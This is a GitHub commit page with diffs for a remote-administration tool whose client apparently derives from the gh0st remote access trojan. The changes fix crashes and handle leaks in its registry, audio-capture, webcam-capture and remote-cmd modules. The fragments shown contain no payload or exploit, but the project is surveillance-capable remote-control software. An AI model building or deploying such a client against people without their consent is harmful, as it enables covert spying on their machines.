Skip to content

Commit

Permalink
修复注册表管理窗口关闭时崩溃的缺陷
Browse files Browse the repository at this point in the history
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
  • Loading branch information
yuanyuanxiang committed Jan 12, 2019
1 parent 135a343 commit 681ab9b
Show file tree
Hide file tree
Showing 30 changed files with 893 additions and 542 deletions.
9 changes: 9 additions & 0 deletions ReadMe.txt
Original file line number Diff line number Diff line change
Expand Up @@ -58,3 +58,12 @@
1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。

2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。

2019.1.12

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
1 change: 1 addition & 0 deletions client/Audio.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -114,6 +114,7 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn 录音机句柄
if (mmResult != MMSYSERR_NOERROR)
{
CloseHandle(h);
return FALSE;
}

Expand Down
2 changes: 2 additions & 0 deletions client/AudioManager.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -92,6 +92,8 @@ CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //设定工作状态为假
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
if (m_hWorkThread)
CloseHandle(m_hWorkThread);

if (m_AudioObject!=NULL)
{
Expand Down
11 changes: 3 additions & 8 deletions client/CaptureVideo.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
{
if(FAILED(CoInitialize(NULL)))
{

return;
}
m_pCapture = NULL;
Expand Down Expand Up @@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)

HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{
HRESULT hResult;

hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //真实设备

if (FAILED(hResult))
Expand All @@ -146,15 +143,13 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult;
}
//将过滤绑定到真实设备上面

m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult))
{
return hResult;
}

//???
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult))
{
Expand Down Expand Up @@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()

void CCaptureVideo::SendEnd() //发送结束 设置可以再取数据
{
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //原子自增可以发送 //原子自减 发送完毕 可以copy
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
}

LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
Expand All @@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
if (mCB.bStact==CMD_CAN_SEND) //这里改变了一下发送的状态
{
szBuffer = mCB.GetNextScreen(dwSize); //通过另外一个类的成员函数得到视频数据,我们继续跟进
szBuffer = mCB.GetNextScreen(dwSize);//通过另外一个类的成员函数得到视频数据,我们继续跟进
}
} while (szBuffer==NULL);

Expand Down
3 changes: 1 addition & 2 deletions client/CaptureVideo.h
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ class CSampleGrabberCB : public ISampleGrabberCB
m_ulFullHeight = 0 ;
}

LPBITMAPINFO GetBmpInfor() //
LPBITMAPINFO GetBmpInfor()
{
if (m_BitmapInfor_Full==NULL) //头信息
{
Expand Down Expand Up @@ -113,7 +113,6 @@ class CSampleGrabberCB : public ISampleGrabberCB

STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
{
//???
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
return NOERROR;
Expand Down
7 changes: 5 additions & 2 deletions client/Common.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KernelManager.h"

extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort;
Expand Down Expand Up @@ -49,13 +50,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam)

template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
IOCPClient *ClientObject = (IOCPClient *)lParam;
ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
{
Manager m(ClientObject, n);
ClientObject->RunEventLoop();
ClientObject->RunEventLoop(pInfo->run);
}
delete ClientObject;
pInfo->p = NULL;

return 0;
}
Expand Down
Loading

0 comments on commit 681ab9b

Please sign in to comment.